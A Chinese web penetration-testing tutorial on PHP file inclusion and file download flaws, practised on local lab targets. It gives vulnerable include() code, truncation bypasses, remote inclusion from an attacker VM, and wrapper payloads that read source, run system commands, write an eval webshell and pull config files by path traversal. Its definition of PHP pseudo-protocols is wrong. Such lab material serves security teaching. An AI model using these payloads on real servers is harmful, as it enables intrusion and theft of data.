【网安-Web渗透测试-漏洞系列】文件包含&下载读取

文件上传漏洞

一、文件包含漏洞概念

① 文件包含是把指定的文件当成代码执星。文件包含执行恶意代码(图片木马),也可能导致敏感信息的泄露(配置文件)。

② 文件包含分为了本地包含远程包含 。本地包含只能含有服务器已有的问题,当服务器没有需要包含的文件,那么,需配合其它漏洞的使用。远程包含是指包含一切网络上的文件,因此,危害性大于本地包含。

③ 检测该漏洞的有白盒与黑盒的方式。白盒是指通过代码审计的方式;而黑盒是指公开的漏洞,需手动看参数和功能点。

二、运行环境

(1)环境一

名称
操作系统 Windows 2003
中间件 phpStudy 2018
PHP版本 5.4.45
Apache 2.4

(2)环境二

名称
操作系统 Windows 10
中间件 phpStudy (PHP 5.2.17)

说明: 此环境为upload-labs-env靶场专用,在使用该靶场时,请先关闭其它版本的phpstudy。无需MySQL支持。

三、本地包含

此部分需要在"环境二"中运行,即在upload-labs-env靶场中操作。

1、无限制的文件包含操作

Step1:新建upload.php文件

bash 复制代码
<?php
 $filename=$_GET['filename'];
 include ( $filename);
?>

Step2:新建1.txt文件,与upload.php在同一目录

bash 复制代码
<?php phpinfo(); ?>

Step3:将1.txt当成代码运行

bash 复制代码
http://127.0.0.1/upload.php?filename=1.txt

2、有限制的文件包含操作

(1)%00截断

Step1:新建upload2.php⽂件

bash 复制代码
<?php
 $filename=$_GET['filename'];
 include($filename.".html");
?>

Step2:开始访问

在页面中,文件加载失败,此时需要利用一定的方法将其绕过。
Step3:使用%00绕过

bash 复制代码
http://127.0.0.1/upload2.php?filename=1.txt%00

在页面中可以看到,用了%00截断的方式就能绕过检测。

(2)长度截断

长度截断的原理:

Windows长度命名长度限制256个字符(由于磁盘分区需要占用⼀个字符,所以用户只能使⽤255个字符命名⽂件夹。);而Linux⻓度限制4096。

bash 复制代码
http://127.0.0.1/upload2.php?filename=1.txt.......................................................................................................................................................................................................................................................................................................

四、远程包含

说明:

① 同样地,此部分需要在"环境二 "中运行,即在upload-labs-env靶场中操作。但为了攻击环境二 这个主机,需要自己配备一个虚拟机或主机作为攻击机。此部分的攻击机为虚拟机,IP为192.168.179.144,phpstudy的apache服务端口为90。

② 远程包含的危害性高于本地包含,需额外的权限方可开启。默认情况下,查看权限可通过phpinfo();中的allow_url_includ,要求状态必须为On。

③ allow_url_includ配置专门针对PHP的include、include_once、requite及require_once语句。当allow_url_include被设置为On时,PHP允许通过URL的形式,从远程服务器包含和执行PHP文件。

1、无限制的文件包含操作

Step1:新建upload.php文件

bash 复制代码
<?php
 $filename=$_GET['filename'];
 include ( $filename);
?>

Step2:在含有phpstudy的虚拟机(192.168.179.144)中新建1.txt文件

bash 复制代码
# 此为1.txt
<?php phpinfo(); ?>

Step3:访问1.txt文件

bash 复制代码
http://192.168.179.144:90/1.txt
bash 复制代码
http://127.0.0.1/upload.php?filename=http://192.168.179.144:90/1.txt

2、有限制的文件包含操作

Step1:访问此地址时,提示文件打开失败

bash 复制代码
http://127.0.0.1/upload2.php?filename=http://192.168.179.144:90/1.txt


Step2:远程文件是可控的。为了绕过检测,将文件更名为1.txt.html。

Step3:将1.txt.html远程引入到目标主机中加载

bash 复制代码
http://127.0.0.1/upload2.php?filename=http://192.168.179.144:90/1.txt.html


Step4:重新修改地址后,再次访问

说明: 直接将1.txt.html改为了1.txt后,输出了phpinfo的信息。而此时攻击机(192.168.179.144)中的文件依然是1.txt.html。但将攻击机中的文件改为1.txt则会打开失败,与Step1的显示如出一辙。

bash 复制代码
http://127.0.0.1/upload2.php?filename=http://192.168.179.144:90/1.txt

五、PHP伪协议 (PHP Protocol Override)

它是⼀种在PHP处理数据时,通过替换数据报的头部信息来欺骗⽹

络协议的⽅式,来提⾼性能的技术。

支持的伪协议:

协议名 作用
file:// 访问本地⽂件系统
http:// 访问 HTTP(s) ⽹址
ftp:// 访问 FTP(s) URLs
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的⽂件路径模式
phar:// PHP 归档
ssh2:// Secure Shell 2
rar:// RAR
ogg:// ⾳频流
expect:// 处理交互式的流

1、http://、https://

URL形式,允许通过HTTP1.0的GET方法,以读取访问文件或资源,通常用于远程包含。

bash 复制代码
http://127.0.0.1/upload.php?filename=http://192.168.179.144:90/1.txt

2、filter

php://filter用于读取完整源码。相信信息可通过PHP官网获取。

读取中upload.php⽂件以base64编码输出:

bash 复制代码
http://127.0.0.1/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php

3、input

(1)php://input的使用

php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执⾏。

地址部分:

bash 复制代码
http://127.0.0.1/include.php?file=php://input

POST DATA部分:

bash 复制代码
<?php phpinfo(); ?>

(2)查看服务器的版本

地址部分:

bash 复制代码
http://127.0.0.1/upload.php?filename=php://input

POST DATA部分:

bash 复制代码
<?php system('ver')?>

(3)执行ipconfig

地址部分:

bash 复制代码
http://127.0.0.1/upload.php?filename=php://input

POST DATA部分:

bash 复制代码
<?php system('ipconfig')?>

(4)写⼀句话木马

地址部分:

bash 复制代码
http://127.0.0.1/upload.php?filename=php://input

POST DATA部分:

bash 复制代码
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>'); ?>

4、file

用于访问本地文件系统,file://需要的是完整的路径。

(1)访问hosts⽂件

bash 复制代码
http://127.0.0.1/upload.php?filename=file:///C:\Windows\System32\drivers\etc\hosts

5、data

以传递相应格式的数据。通常可以用来执行PHP代码。

(1)正常使用

bash 复制代码
http://127.0.0.1/upload.php?filename=data://text/plain,<?php phpinfo(); ?>

(2)加载存在编码的地址

bash 复制代码
PD9waHAgcGhwaW5mbygpOz8+ 
# 转码后: 
 <?php phpinfo();?> 
bash 复制代码
http://127.0.0.1/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

说明:

为何在地址中存在%2b,而非直接显示为"+"呢?这是因为除了数字、大小写字母和下划线之外,其它字符均被URL地址理解为特殊字符,需要进行特殊转移。例如%2b中的2b代表ASCII的43,对应的符合为"+"。

特殊符号的举例如下:

1.+ URL 中+号表示空格 %2B

2.空格 URL中的空格可以用+号或者编码 %20

3./ 分隔目录和子目录 %2F

4.? 分隔实际的 URL 和参数 %3F

5.% 指定特殊字符 %25

6.# 表示书签 %23

7.& URL 中指定的参数间的分隔符 %26

8.= URL 中指定参数的值 %3D

六、文件下载/读取漏洞

文件下载/读取漏洞与文件包含漏洞类似,通过下载的方式获取敏感文件。此部分用的是环境一

bash 复制代码
http://192.168.179.144:90/pikachu/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php

1、靶场环境配置

(1)部署地址

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\pikachu

(2)安装pikachu

Step1:在数据库中新建pikachu数据库;
Step2:自定义修改inc/config.inc.php文件里面的参数;
Step3:访问如下安装地址后点击"安装/初始化"按钮;并提示安装成功

bash 复制代码
http://192.168.179.144:90/pikachu/install.php


Step4:访问Unsafe Filedownload页面

bash 复制代码
http://192.168.179.144:90/pikachu/vul/unsafedownload/down_nba.php


利用http获取站点内的配置文件:

bash 复制代码
http://192.168.179.144:90/pikachu/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php

访问后提示下载文件:

此漏洞如果不注意,会导致项目内的核心文件被下载。

相关推荐
漏洞谷1 天前
白帽子为什么几乎都绕不开 httpx:一款 HTTP 资产探测工具的技术价值
web安全·漏洞挖掘·安全工具
ServBay1 天前
告别面条代码,PSL 5.0 重构 PHP 性能与安全天花板
后端·php
JaguarJack3 天前
FrankenPHP 原生支持 Windows 了
后端·php·服务端
BingoGo3 天前
FrankenPHP 原生支持 Windows 了
后端·php
JaguarJack4 天前
PHP 的异步编程 该怎么选择
后端·php·服务端
BingoGo5 天前
PHP 的异步编程 该怎么选择
后端·php
JaguarJack5 天前
为什么 PHP 闭包要加 static?
后端·php·服务端
ServBay6 天前
垃圾堆里编码?真的不要怪 PHP 不行
后端·php
用户962377954486 天前
CTF 伪协议
php
BingoGo8 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php